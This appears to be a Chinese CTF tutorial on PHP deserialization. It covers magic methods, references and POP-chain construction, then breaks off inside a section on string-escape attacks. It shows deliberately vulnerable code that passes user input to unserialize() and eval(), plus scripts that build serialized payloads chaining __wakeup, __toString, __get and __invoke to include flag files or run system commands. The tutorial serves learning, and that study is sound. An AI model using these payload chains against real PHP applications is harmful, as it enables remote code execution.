\u4f7f\u7528 var_dump() \u6253\u5370\u5bf9\u8c61\u65f6\u89e6\u53d1<\/p>\n\n\n\n
<?php\nclass User {\n    private $password = 'secret123';\n    public $username = 'admin';\n    \n    public function __debugInfo() {\n        return [\n            'username' => $this->username,\n            'info' => '\u9690\u85cf\u654f\u611f\u4fe1\u606f\uff0c\u4e0d\u663e\u793apassword'\n        ];\n    }\n}\n$test = new User();\n\/\/ \u8fd9\u91cc\u89e6\u53d1\nvar_dump($test);\n?>\n<!-- object(User)#1 (2) { [\"username\"]=> string(5) \"admin\" [\"info\"]=> string(36) \"\u9690\u85cf\u654f\u611f\u4fe1\u606f\uff0c\u4e0d\u663e\u793apassword\" } --><\/code><\/pre>\n\n\n\n
__set_state()<\/strong><\/h4>\n\n\n\n
\u4f7f\u7528 var_export() \u5bfc\u51fa\u7c7b\u65f6\u89e6\u53d1<\/p>\n\n\n\n
<?php\nclass User {\n    public $username;\n    public $age;\n    \n    public static function __set_state($properties) {\n        $obj = new User();\n        $obj->username = $properties['username'];\n        $obj->age = $properties['age'] + 1; \/\/ \u53ef\u4ee5\u5728\u8fd9\u91cc\u8fdb\u884c\u4e00\u4e9b\u5904\u7406\n        return $obj;\n    }\n}\n$test = new User();\n$test->username = 'benben';\n$test->age = 20;\n\/\/ \u8fd9\u91cc\u89e6\u53d1\neval('$newObj = ' . var_export($test, true) . ';');\nvar_dump($newObj);\n?>\n<!-- object(User)#2 (2) { [\"username\"]=> string(6) \"benben\" [\"age\"]=> int(21) } --><\/code><\/pre>\n\n\n\n
__serialize() \u548c __unserialize()<\/strong><\/h4>\n\n\n\n
PHP 7.4 \u65b0\u589e\u7684\u5e8f\u5217\u5316\u65b9\u6cd5<\/p>\n\n\n\n
<?php\nclass User {\n    public $username;\n    private $password;\n    \n    public function __construct($username, $password) {\n        $this->username = $username;\n        $this->password = $password;\n    }\n    \n    \/\/ PHP 7.4+ \u65b0\u589e\uff0c\u4f18\u5148\u7ea7\u9ad8\u4e8e __sleep()\n    public function __serialize(): array {\n        return [\n            'user' => $this->username,\n            'pass_hash' => md5($this->password) \n        ];\n    }\n    \n    public function __unserialize(array $data): void {\n        $this->username = $data['user'];\n        $this->password = 'restored'; \/\/ \u53cd\u5e8f\u5217\u5316\u65f6\u7684\u521d\u59cb\u5316\n    }\n}\n$test = new User('admin', '123456');\n$ser = serialize($test); \/\/ \u8fd9\u91cc\u89e6\u53d1 __serialize()\n$new = unserialize($ser); \/\/ \u8fd9\u91cc\u89e6\u53d1 __unserialize()\nvar_dump($ser);\n?>\n<!-- string(81) \"O:4:\"User\":2:{s:4:\"user\";s:5:\"admin\";s:9:\"pass_hash\";s:32:\"e10adc3949ba59abbe56e057f20f883e\";}\" --><\/code><\/pre>\n\n\n\n
PHP \u533f\u540d\u7c7b<\/h3>\n\n\n\n
<?php\n$a = new class {\n    function getflag()\n    {\n        system('cat \/flag.txt');\n    }\n};\n\necho get_class($a);\n\/\/class@anonymous+%00+php\u6587\u4ef6\u8def\u5f84+:\u884c\u6570$\u5217\u6570    \/\/linux\n\/\/class@anonymous+%00+php\u6587\u4ef6\u8def\u5f84+\u5185\u5b58\u5730\u5740  \/\/windows<\/code><\/pre>\n\n\n\n
PHP \u52a8\u6001\u5c5e\u6027<\/h3>\n\n\n\n
\u52a8\u6001\u5c5e\u6027\u662f\u6307\u5728\u5bf9\u8c61\u5b9e\u4f8b\u5316\u540e\uff0c\u76f4\u63a5\u8d4b\u503c\u7ed9\u7c7b\u5b9a\u4e49\u4e2d\u4e0d\u5b58\u5728<\/strong>\u7684\u5c5e\u6027\u3002\u8fd9\u662f PHP \u7075\u6d3b\u6027\u7684\u4e00\u5927\u4f53\u73b0\uff0c\u4e5f\u662f\u53cd\u5e8f\u5217\u5316\u5229\u7528\u7684\u6838\u5fc3\u3002<\/p>\n\n\n\n
\u5728 PHP \u5185\u90e8\uff0c\u5bf9\u8c61\u7684\u5c5e\u6027\u5b58\u50a8\u5728\u4e00\u4e2a HashTable \u4e2d\u3002\u5982\u679c\u662f\u7c7b\u5b9a\u4e49\u7684\u5c5e\u6027\uff0c\u5b83\u4eec\u6709\u56fa\u5b9a\u7684 offset\uff1b\u5982\u679c\u662f\u52a8\u6001\u5c5e\u6027\uff0c\u5219\u4f1a\u8ffd\u52a0\u5230\u8fd9\u4e2a HashTable \u4e2d\u3002 \u4ece PHP 8.2 \u5f00\u59cb\uff0c\u52a8\u6001\u5c5e\u6027\u88ab\u5e9f\u5f03\uff08Deprecated\uff09\uff0c\u9664\u975e\u7c7b\u4f7f\u7528\u4e86 #[AllowDynamicProperties] \u6ce8\u89e3\u6216\u7ee7\u627f\u81ea stdClass\u3002\u4f46\u5728 PHP 5.x – 8.1 \u4e2d\uff0c\u8fd9\u662f\u9ed8\u8ba4\u5141\u8bb8\u7684\u3002<\/p>\n\n\n\n
class Phantom {}\n$obj = new Phantom();\n$obj->newProp = \"Hacker\"; \/\/ \u52a8\u6001\u521b\u5efa\u5c5e\u6027\n\/\/ \u5e8f\u5217\u5316\u540e\uff1aO:7:\"Phantom\":1:{s:7:\"newProp\";s:6:\"Hacker\";}<\/code><\/pre>\n\n\n\n
php\u5f15\u7528<\/h3>\n\n\n\n
\u5728 PHP \u4e2d\uff0c\u5f15\u7528\u610f\u5473\u7740\u4e24\u4e2a\u4e0d\u540c\u7684\u53d8\u91cf\u540d\u8bbf\u95ee\u540c\u4e00\u4e2a\u53d8\u91cf\u5185\u5bb9<\/p>\n\n\n\n
\u7b26\u53f7<\/strong>\uff1a&<\/code><\/p>\n\n\n\n
\u4e00\u65e6\u5efa\u7acb\u5f15\u7528\uff0c\u6539\u53d8\u5176\u4e2d\u4e00\u4e2a\u53d8\u91cf\u7684\u503c\uff0c\u53e6\u4e00\u4e2a\u53d8\u91cf\u7684\u503c\u4e5f\u4f1a\u7acb\u5373<\/strong>\u6539\u53d8\u3002<\/p>\n\n\n\n
\u5185\u5b58\u5171\u4eab<\/strong>\uff1a\u5b83\u4eec\u6307\u5411\u540c\u4e00\u4e2a Zval (Zend Value) \u7ed3\u6784\u3002<\/p>\n\n\n\n
<?php\nclass Phantom {\n    public $A;\n    public $B;\n}\n\n$obj = new Phantom();\n$obj->A = \"secret\";\n\n\/\/ \u3010\u5173\u952e\u6b65\u9aa4\u3011\u5c06 B \u8bbe\u7f6e\u4e3a A \u7684\u5f15\u7528\n$obj->B = &$obj->A; \n\necho serialize($obj);\n?><\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
s:1:”A”;s:6:”secret”;\uff1a\u5c5e\u6027 A \u88ab\u6b63\u5e38\u5e8f\u5217\u5316\u3002<\/p>\n\n\n\n
s:1:”B”;R:2;\uff1a\u5c5e\u6027 B \u6ca1\u6709\u518d\u6b21\u5b58\u50a8 “secret”\uff0c\u800c\u662f\u6307\u5411\u4e86\u7b2c 2 \u4e2a\u53cd\u5e8f\u5217\u5316\u7684\u503c\uff08\u8fd9\u91cc\u6307\u7684\u5c31\u662f\u5c5e\u6027 A \u7684\u503c\uff09\u3002<\/p>\n\n\n\n
php\u53cd\u5e8f\u5217\u5316<\/h3>\n\n\n\n
\u5728php\u4e2d\uff0c\u5c06\u6570\u636e\u8fdb\u884c\u5e8f\u5217\u5316\u7684\u51fd\u6570serialize \u8fd9\u662f\u4e00\u79cd\u5b58\u50a8\u6570\u636e\u7684\u65b9\u6cd5\uff0c\u5c06\u5e8f\u5217\u5316\u5b57\u7b26\u4e32\u53cd\u5e8f\u5217\u5316\u7684\u51fd\u6570\u662funserialize<\/p>\n\n\n\n
\u5728 PHP 7.4 \u65b0\u589e\u7684\u4e86__serialize() \u548c __unserialize()\u9b54\u672f\u65b9\u6cd5<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5728\u524d\u9762\u5df2\u7ecf\u4ecb\u7ecd\u8fc7\u5e8f\u5217\u5316\u4e86<\/p>\n\n\n\n
\u4f8b\u98981<\/h4>\n\n\n\n
\u8fd9\u91cc\u6765\u770b\u4e00\u9053\u4f8b\u9898<\/p>\n\n\n\n
<?php\nclass NSS {\n    var $name;\n\n    function __destruct() {\n        if ($this->name === 'ctf') {\n            echo getenv('FLAG');\n        }\n    }\n}\n\nunserialize($_GET['n']);<\/code><\/pre>\n\n\n\n
\u5982\u679c$this->name === ‘ctf’ \u90a3\u4e48\u5c31\u8f93\u51faenv\u4e2d\u7684flag<\/p>\n\n\n\n
\u8fd8\u8bb0\u5f97__destruct\u7684\u89e6\u53d1\u65b9\u6cd5\u5417\uff0c\u6ca1\u9519\u662f\u5728\u5bf9\u8c61\u9500\u6bc1\u7684\u65f6\u5019<\/p>\n\n\n\n
\u90a3\u4e48\u4ec0\u4e48\u65f6\u5019\u4f1a\u9500\u6bc1\u5bf9\u8c61\u5462\uff0c\u5c31\u662f\u5728\u7528\u5b8c\u4e4b\u540e\uff0c\u4e5f\u5c31\u662f\u53cd\u5e8f\u5217\u5316 unserialize\u4e4b\u540e<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6211\u4eec\u53ef\u4ee5\u5728\u672c\u5730\u8c03\u8bd5\u4e00\u4e0b<\/p>\n\n\n\n
\u9996\u5148\u8ba9\u4ed6\u6ee1\u8db3\u8fd9\u4e2a\u6761\u4ef6name=ctf<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u7136\u540e\u901a\u8fc7serialize\u8f93\u51faNSS\u8fd9\u4e2a\u7c7b\u5e8f\u5217\u5316\u540e\u7684\u5b57\u7b26\u4e32<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5c06\u8fd9\u4e2a\u503c\u8fdb\u884c\u53cd\u5e8f\u5217\u5316\uff0c\u4e3a\u4e86\u5728\u672c\u5730\u76f4\u89c2\u4e00\u4e9b\uff0c\u6211\u5c06echo getenv(‘FLAG’);\u6539\u6210system(“calc”);<\/p>\n\n\n\n
\u8fdc\u7a0b\u6253\u8fc7\u53bb\u662f\u4e00\u6837\u7684\u6548\u679c\uff0c\u56e0\u4e3a\u90fd\u662f\u89e6\u53d1__destruct\u8fd9\u4e2a\u9b54\u672f\u65b9\u6cd5\uff0c\u6267\u884c\u91cc\u9762\u7684\u4ee3\u7801<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fdc\u7a0b<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6210\u529f\u89e6\u53d1\u4e86\u5176\u4e2d\u7684__destruct<\/p>\n\n\n\n
\u4f8b\u98982<\/h4>\n\n\n\n
\u6211\u4eec\u518d\u6765\u770b\u4e00\u9053\u7b80\u5355\u7684\u4f8b\u9898\uff0c\u8fd9\u9898\u76f8\u5bf9\u800c\u8a00\u96be\u5ea6\u66f4\u4f4e\uff0c\u56e0\u4e3a\u4e0d\u6d89\u53ca\u9b54\u672f\u65b9\u6cd5<\/p>\n\n\n\n
<?php\nclass test{\n    public $a = 'echo \"this is test!!\";';\n    public function displayVar() {\n        eval($this->a);\n    }\n}\n\n$get = $_GET[\"benben\"];\n$b = unserialize($get);\n$b->displayVar() ;\n\n?><\/code><\/pre>\n\n\n\n
\u4e0d\u9700\u8981\u7136\u540e\u7684\u6761\u4ef6\uff0c\u4ed6\u4f1a\u6267\u884c$a\u4e2d\u7684\u4ee3\u7801\uff0c\u90a3\u4e48\u53ea\u9700\u8981\u4fee\u6539$a \u7136\u540e\u5c06test\u8fd9\u4e2a\u7c7b\u8fdb\u884c\u5e8f\u5217\u5316\u5c31\u884c\u4e86<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u672c\u5730\u6d4b\u8bd5\u4e00\u4e0b<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u53ef\u4ee5\u76f4\u63a5rce<\/p>\n\n\n\n
pop\u94fe\u6784\u9020<\/h3>\n\n\n\n
pop\u94fe\u662f\u901a\u8fc7\u89e6\u53d1\u9b54\u672f\u65b9\u6cd5\uff0c\u7136\u540e\u89e6\u53d1\u5176\u4ed6\u89e6\u53d1\u9b54\u672f\u65b9\u6cd5\uff0c\u7136\u540e\u4e00\u76f4\u5f80\u4e0b\u89e6\u53d1\uff0c\u76f4\u5230\u8fbe\u5230\u6700\u7ec8\u76ee\u7684\u83b7\u53d6flag<\/p>\n\n\n\n
\u4e00\u822c\u7684CTF\u9898\u76ee\u4e2d\uff0c\u5927\u591a\u60c5\u51b5\u662f3-9\u4e2a\u7c7b\uff0c\u4e0d\u4f1a\u5199\u7279\u522b\u7279\u522b\u591a\uff0c\u6709\u4e9b\u65f6\u5019\u4e5f\u4f1a\u6709\u8ff7\u60d1\u4f60\u7684\u7c7b\uff0c\u8ba9\u4f60\u8d70\u4e0d\u901a\u94fe\u5b50<\/p>\n\n\n\n
\uff0c\u4e00\u822c\u62ff\u5230php\u53cd\u5e8f\u5217\u5316\u9898\u76ee\u7684\u65f6\u5019\uff0c\u9996\u5148\u9700\u8981\u627e\u94fe\u5c3e\uff0c\u4e5f\u5c31\u662f\u6700\u5173\u952e\u7684\u4e00\u4e2a\u7528\u4e8e\u83b7\u53d6flag\u7684\u7c7b\uff0c\u53ef\u80fd\u662frce\uff0c\u53ef\u80fd\u662fecho flag<\/p>\n\n\n\n
\u63a5\u4e0b\u6765\u7531\u6d45\u5165\u6df1\u6162\u6162\u5e26\u5927\u5bb6\u5206\u6790<\/p>\n\n\n\n
\u4f8b\u98981<\/h4>\n\n\n\n
<?php\nhighlight_file(__FILE__);\n\nclass NSS1 {\n    var $name;\n\n    function __destruct() {\n        echo $this->name;\n    }\n}\n\nclass NSS2 {\n    var $name;\n\n    function __toString()\n    {\n        echo getenv('FLAG');\n    }\n}\n\nunserialize($_GET['n']);<\/code><\/pre>\n\n\n\n
\u975e\u5e38\u7b80\u77ed\u7684\u94fe\u5b50\uff0c\u5927\u5bb6\u53ef\u4ee5\u56de\u987e\u4e00\u4e0b__destruct\u548c__toString\u7684\u89e6\u53d1\u65b9\u6cd5<\/p>\n\n\n\n
__destruct\u662f\u6784\u9020\u51fd\u6570\uff0c\u5728\u5b9e\u4f8b\u5316\u4e00\u4e2a\u5bf9\u8c61\u7684\u65f6\u5019\uff0c\u9996\u5148\u4f1a\u53bb\u81ea\u52a8\u6267\u884c\u7684\u4e00\u4e2a\u65b9\u6cd5<\/p>\n\n\n\n
\u4e5f\u5c31\u662f\u5728new\u4e00\u4e2a\u7c7b\u7684\u65f6\u5019\u89e6\u53d1 __toString\u7684\u89e6\u53d1\u6761\u4ef6\u662fecho\u628a\u5bf9\u8c61\u5f53\u6210\u5b57\u7b26\u4e32<\/p>\n\n\n\n
pop\u94fe\u4e5f\u5c31\u5f88\u6e05\u6670\u4e86<\/p>\n\n\n\n
NSS1::__destruct->NSS2::__toString:echo getenv('FLAG');<\/code><\/pre>\n\n\n\n
\u9996\u5148new\u5b9e\u4f8b\u5316\u4e00\u4e2a\u7c7b<\/p>\n\n\n\n
$nss = new NSS1();<\/code><\/pre>\n\n\n\n
\u8fd9\u6837\u5c31\u53ef\u4ee5\u89e6\u53d1__destruct<\/p>\n\n\n\n
\u63a5\u4e0b\u6765\u628anss1\u4e2decho\u7684name\u6307\u5b9a\u4e3anss2\u5bf9\u8c61<\/p>\n\n\n\n
$nss->name = new NSS2();<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6211\u6709\u4e00\u4e0b\u4e60\u60ef\uff0c\u5c31\u662f\u5728\u6bcf\u4e2a\u9b54\u672f\u65b9\u6cd5\u540e\u9762\u52a0\u4e00\u4e2aecho \u201c\u89e6\u53d1\u4e86xxx\u9b54\u672f\u65b9\u6cd5\u201d\uff0c\u8fd9\u6837\u53ef\u4ee5\u770b\u5230\u81ea\u5df1\u7684\u94fe\u5b50\u662f\u5426\u8d70\u901a\u4e86\u4ee5\u53ca\u5224\u65ad\u94fe\u5b50\u65ad\u5728\u4e86\u54ea\u91cc<\/p>\n\n\n\n
pop\u94fe<\/p>\n\n\n\n
<?php\n\nclass NSS1 {\n    var $name;\n\n    function __destruct() {\n        echo \"__destruct\u89e6\u53d1\".PHP_EOL;\n        echo $this->name;\n    }\n}\n\nclass NSS2 {\n    var $name;\n\n    function __toString()\n    {\n        echo getenv('FLAG');\n        echo \"ToString\u89e6\u53d1\".PHP_EOL;\n    }\n}\n\n\/\/ unserialize($_GET['n']);\n$nss = new NSS1();\n$nss->name = new NSS2();\necho serialize($nss ) .PHP_EOL;\n?><\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fdc\u7a0b<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4f8b\u98983<\/h4>\n\n\n\n
<?php\nhighlight_file(__FILE__);\n\nclass NSS1 {\n    var $name;\n\n    function __destruct() {\n        echo $this->name;\n    }\n}\n\nclass NSS2 {\n    var $name;\n\n    function __toString()\n    {\n        echo $this->name->test;\n    }\n}\n\nclass NSS3 {\n    var $name;\n    var $res;\n\n    function __get($name){\n        $this->name->getflag();\n    }\n\n    function __call($name, $arguments){\n        if ($this->res === 'nssctf') {\n            echo getenv('FLAG');\n        }\n    }\n}\nunserialize($_GET['n']);<\/code><\/pre>\n\n\n\n
\u7c7b\u53d8\u6210\u4e863\u4e2a\uff0c\u9996\u5148\u5224\u65ad\u94fe\u5c3e\uff0c\u7136\u540e\u6839\u636e\u94fe\u5c3e\u7684\u9b54\u672f\u65b9\u6cd5\u6162\u6162\u53cd\u63a8\uff0c\u94fe\u5c3e\u4e00\u770b\u5c31\u662f\u5728NSS3\u7684__call<\/p>\n\n\n\n
\u56de\u5fc6\u4e00\u4e0b__call\u8981\u600e\u4e48\u89e6\u53d1<\/p>\n\n\n\n
\u8c03\u7528\u7684\u4e0d\u5b58\u5728\u7684\u65b9\u6cd5\u7684\u540d\u79f0\u548c\u53c2\u6570\u7684\u65f6\u5019\u4f1a\u89e6\u53d1__call<\/p>\n\n\n\n
\u53d1\u73b0\u4ed6\u7684__get\u65b9\u6cd5\u89e6\u53d1\u7684getflag()\u6839\u672c\u5c31\u4e0d\u5b58\u5728\uff0c__call\u7684\u89e6\u53d1\u6761\u4ef6\u5c31\u662f\u8c03\u7528\u4e00\u4e2a\u4e0d\u5b58\u5728\u7684\u65b9\u6cd5<\/p>\n\n\n\n
\u4efb\u4f55\u53d1\u73b0NSS2\u6709\u4e00\u4e2a__toString \u4ed6\u6267\u884c\u7684\u4ee3\u7801\u662f$this->name->test;<\/p>\n\n\n\n
\u8fd9\u4e2aname\u662f\u53ef\u4ee5\u63a7\u5236\u7684\uff0c\u53ea\u8981\u8ba9\u4ed6\u8c03\u7528\u4e00\u4e2a\u4e0d\u5b58\u5728\u7684\u6210\u5458\u5c5e\u6027\u5c31\u53ef\u4ee5\u89e6\u53d1__get\uff0c\u90a3\u4e48\u63a5\u4e0b\u6765\u5c31\u662f\u901a\u8fc7NSS1\u7684__destruct\u6765echo\u89e6\u53d1__toString\u4e86\uff0c\u6211\u4eec\u53ef\u4ee5\u5c06name\u6307\u5411nss3 \u8fd9\u6837\u5c31\u53ef\u4ee5\u8bbf\u95eeNSS3\u8fd9\u4e2a\u7c7b\u5e76\u4e14\u89e6\u53d1__get<\/p>\n\n\n\n
\u5f53\u89e6\u53d1__get\u65f6$this->name->getflag();\u81ea\u52a8\u89e6\u53d1__call<\/p>\n\n\n\n
\u8fdb\u5165__call\u4ee5\u540e<\/p>\n\n\n\n
($this->res === 'nssctf')<\/code><\/pre>\n\n\n\n
\u5c06NSS3\u7684name\u6307\u5411nssctf\u5373\u53ef\u89e6\u53d1\u63a5\u4e0b\u6765\u7684\u4ee3\u7801<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fdc\u7a0b<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4f8b\u98984<\/h4>\n\n\n\n
\u518d\u6765\u770b\u4e00\u9898<\/p>\n\n\n\n
<?php\n\/\/flag is in flag.php\nhighlight_file(__FILE__);\nerror_reporting(0);\nclass Modifier {\n    private $var;\n    public function append($value)\n    {\n        include($value);\n        echo $flag;\n    }\n    public function __invoke(){\n        $this->append($this->var);\n    }\n}\n\nclass Show{\n    public $source;\n    public $str;\n    public function __toString(){\n        return $this->str->source;\n    }\n    public function __wakeup(){\n        echo $this->source;\n    }\n}\n\nclass Test{\n    public $p;\n    public function __construct(){\n        $this->p = array();\n    }\n\n    public function __get($key){\n        $function = $this->p;\n        return $function();\n    }\n}\n\nif(isset($_GET['pop'])){\n    unserialize($_GET['pop']);\n}\n?><\/code><\/pre>\n\n\n\n
\u770b\u4e86\u4e00\u4e0b\u4ee3\u7801\uff0c\u6211\u4eec\u7ed3\u5408\u6ce8\u91ca\u5f97\u77e5\u6700\u7ec8\u9700\u8981\u6267\u884cModifier::append(“flag.php”)<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6267\u884cappend\u9700\u8981\u8c03\u7528Modifier\u5bf9\u8c61\u7684__invoke()\u65b9\u6cd5<\/p>\n\n\n\n
__invoke\u7684\u89e6\u53d1\u6761\u4ef6\u662f\u5bf9\u8c61\u5f53\u4f5c\u51fd\u6570\u8c03\u7528<\/p>\n\n\n\n
\u4e8e\u662f\u6211\u4eec\u53ef\u4ee5\u628aModifier\u5bf9\u8c61\u5f53\u4f5c\u51fd\u6570\u8c03\u7528<\/p>\n\n\n\n
\u90a3\u4e48\u95ee\u9898\u6709\u6765\u4e86\u3002\u600e\u4e48\u628a\u5bf9\u8c61\u5f53\u51fd\u6570\u8c03\u7528\uff1f<\/p>\n\n\n\n
Test\u7c7b\u7684__get()\u65b9\u6cd5\u4f1a\u6267\u884c$function = $this->p;<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u90a3\u600e\u4e48\u89e6\u53d1Test\u7684__get?<\/p>\n\n\n\n
\u6211\u4eec\u9700\u8981\u8bbf\u95eeTest\u5bf9\u8c61\u4e0d\u5b58\u5728\u7684\u5c5e\u6027<\/p>\n\n\n\n
\u90a3\u8c01\u8bbf\u95eeTest\u7684\u5c5e\u6027\u5462\uff1f<\/p>\n\n\n\n
Show\u7c7b\u7684__toString()\u4f1a\u8bbf\u95ee$this->str->source<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u600e\u4e48\u89e6\u53d1Show\u7684__toString\uff1f<\/p>\n\n\n\n
\u9700\u8981\u628aShow\u5bf9\u8c61\u5f53\u4f5c\u5b57\u7b26\u4e32<\/p>\n\n\n\n
\u8c01\u4f1a\u628aShow\u5f53\u5b57\u7b26\u4e32\uff1f<\/p>\n\n\n\n
Show\u7684__wakeup()\u4f1aecho $this->source<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6211\u4eec\u901a\u8fc7\u53cd\u63a8\u6cd5\u5f97\u5230pop\u94fe<\/p>\n\n\n\n
Show::__wakeup() \u2192 echo $source(Show\u5bf9\u8c61) \n\u2192 Show::__toString() \u2192 \u8bbf\u95ee $str(Test\u5bf9\u8c61)->source \n\u2192 Test::__get() \u2192 $p(Modifier\u5bf9\u8c61)() \n\u2192 Modifier::__invoke() \u2192 append($var) \u2192 include(\"flag.php\")<\/code><\/pre>\n\n\n\n
\u63a5\u4e0b\u6765\u5c31\u662f\u6784\u9020\u51faexp<\/p>\n\n\n\n
<?php\n\/\/flag is in flag.php\nclass Modifier {\n    private $var='flag.php';\n    public function append($value)\n    {\n        system(\"calc\");\n    }\n    public function __invoke(){\n        $this->append($this->var);\n        echo \"\u89e6\u53d1\u4e86__invoke\";\n    }\n}\n\nclass Show{\n    public $source;\n    public $str;\n    public function __toString(){\n        $this->str->source;\n        echo \"\u89e6\u53d1\u4e86__toString\";\n    }\n    public function __wakeup(){\n        echo $this->source;\n        echo \"\u89e6\u53d1\u4e86__wakeup\";\n    }\n}\n\nclass Test{\n    public $p;\n    public function __construct(){\n        $this->p = array();\n        echo \"\u89e6\u53d1\u4e86__construct\".PHP_EOL;\n    }\n\n    public function __get($key){\n        $function = $this->p;\n        echo \"\u89e6\u53d1\u4e86__get\";\n    }\n}\n\n\/\/ if(isset($_GET['pop'])){\n\/\/     unserialize($_GET['pop']);\n\/\/ }\n\n$modifier = new Modifier();\n\n\n$test = new Test();\n$test->p = $modifier;\n\n\n$show2 = new Show();\n$show2->str = $test;  \n\n\n$show1 = new Show();\n$show1->source = $show2; \n\n$payload = serialize($show1);\necho urlencode($payload);\n?><\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u53cd\u5e8f\u5217\u5316\u5b57\u7b26\u4e32\u9003\u9038<\/h3>\n\n\n\n
php\u53cd\u5e8f\u5217\u5316\u7279\u6027<\/h4>\n\n\n\n
1.php\u5728\u53cd\u5e8f\u5217\u5316\u65f6\uff0c\u5e95\u5c42\u4ee3\u7801\u662f\u4ee5;\u4f5c\u4e3a\u5b57\u6bb5\u7684\u5206\u9694\uff0c\u4ee5}\u4f5c\u4e3a\u7ed3\u5c3e\uff0c\u5e76\u4e14\u662f\u6839\u636e\u957f\u5ea6\u5224\u65ad\u5185\u5bb9 \uff0c\u540c\u65f6\u53cd\u5e8f\u5217\u5316\u7684\u8fc7\u7a0b\u4e2d\u5fc5\u987b\u4e25\u683c\u6309\u7167\u5e8f\u5217\u5316\u89c4\u5219\u624d\u80fd\u6210\u529f\u5b9e\u73b0\u53cd\u5e8f\u5217\u5316<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
2.\u5e8f\u5217\u5316\u5b57\u7b26\u4e32\u683c\u5f0f\uff1a\u7c7b\u578b:\u957f\u5ea6:”\u5185\u5bb9” \uff0c\u5f53\u5e8f\u5217\u5316\u7684\u957f\u5ea6\u4e0d\u5bf9\u5e94\u7684\u65f6\u5019\u4f1a\u51fa\u73b0\u62a5\u9519<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
3.\u53ef\u4ee5\u53cd\u5e8f\u5217\u5316\u7c7b\u4e2d\u4e0d\u5b58\u5728\u7684\u5143\u7d20<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u7136\u5b57\u7b26\u4e32\u9003\u9038\u5c31\u662f\u5728\u5e8f\u5217\u5316\u5b57\u7b26\u4e32\u88ab\u53cd\u5e8f\u5217\u5316\u4e4b\u524d\uff0c\u7531\u4e8e\u7ecf\u8fc7\u4e86\u66ff\u6362\u51fd\u6570\uff08\u6bd4\u5982 str_replace\uff0cpreg_replace\uff0caddslashes\uff0chtmlspecialchars\uff09\u7684\u5904\u7406\uff0c\u5bfc\u81f4\u5b57\u7b26\u4e32\u7684\u5b9e\u9645\u957f\u5ea6\u4e0e\u5e8f\u5217\u5316\u6570\u636e\u4e2d\u8bb0\u5f55\u7684\u957f\u5ea6\u4e0d\u4e00\u81f4\uff0c\u4ece\u800c\u4f7f\u653b\u51fb\u8005\u80fd\u591f\u901a\u8fc7\u7cbe\u5fc3\u6784\u9020\u7684 Payload \u63a7\u5236\u53cd\u5e8f\u5217\u5316\u540e\u7684\u5bf9\u8c61\u7ed3\u6784<\/p>\n\n\n\n
\u5b57\u7b26\u4e32\u51cf\u5c11<\/h4>\n\n\n\n
\u5b57\u7b26\u4e32\u51cf\u5c11\u793a\u4f8b\u4ee3\u7801<\/h5>\n\n\n\n
<?php\nhighlight_file(__FILE__);\nerror_reporting(0);\nclass A{\n    public $v1 = \"abcsystem()system()system()\";\n    public $v2 = '123';\n\n    public function __construct($arga,$argc){\n            $this->v1 = $arga;\n            $this->v2 = $argc;\n    }\n}\n$a = $_GET['v1'];\n$b = $_GET['v2'];\n$data = serialize(new A($a,$b));\n$data = str_replace(\"system()\",\"\",$data);\nvar_dump(unserialize($data));\n?><\/code><\/pre>\n\n\n\n
\u770b\u5230\u8fd9\u6bb5\u6f14\u793a\u4ee3\u7801\uff0c\u9996\u5148\u5728\u7b2c15\u884c\u7684\u65f6\u5019\uff0c\u4f1a\u8fdb\u884cserialize\uff0c\u8fd9\u4e2a\u65f6\u5019\u5c31\u4f1a\u786e\u5b9a\u597d\u5b57\u7b26\u4e32\u7ed3\u6784<\/p>\n\n\n\n
\u7136\u540e str_replace() \u5c06 system()[8\u4e2a\u5b57\u7b26]\u66ff\u6362\u4e3a\u7a7a\u5b57\u7b26\u4e32[0\u4e2a\u5b57\u7b26] \u8fd9\u4e2a\u65f6\u5019\u5185\u5bb9\u4f1a\u53d8\u77ed\uff0c\u4f46\u662f\u53cd\u5e8f\u5217\u5316\u7ed3\u6784<\/p>\n\n\n\n
\u7c7b\u578b:\u957f\u5ea6:”\u5185\u5bb9”<\/p>\n\n\n\n
\u5176\u4e2d\u7684\u957f\u5ea6\u4e0d\u4f1a\u6539\u53d8\uff0cstr_replace\u628a$v1\u7684system() \u5168\u53d8\u6ca1\u4e86\uff0c\u817e\u51fa\u4e86\u7a7a\u95f4\uff0c\u90a3\u4e48\u5c31\u4f1a\u9020\u6210\u7ee7\u7eed\u5f80\u540e\u89e3\u6790\uff0c\u53cd\u5e8f\u5217\u5316\u65f6\uff0c$v1\u4e3a\u4e86\u51d1\u591f\u539f\u672c\u7684\u5b57\u7b26\uff0c\u53ea\u80fd\u628a\u539f\u672c\u5c5e\u4e8e\u95f4\u9694\u7b26\u3001$v2\u7684\u5c5e\u6027\u540d\u3001\u751a\u81f3$v2\u7684\u957f\u5ea6\u58f0\u660e\u90fd\u5403\u6389\u5f53\u4f5c\u666e\u901a\u5b57\u7b26\u4e32<\/p>\n\n\n\n
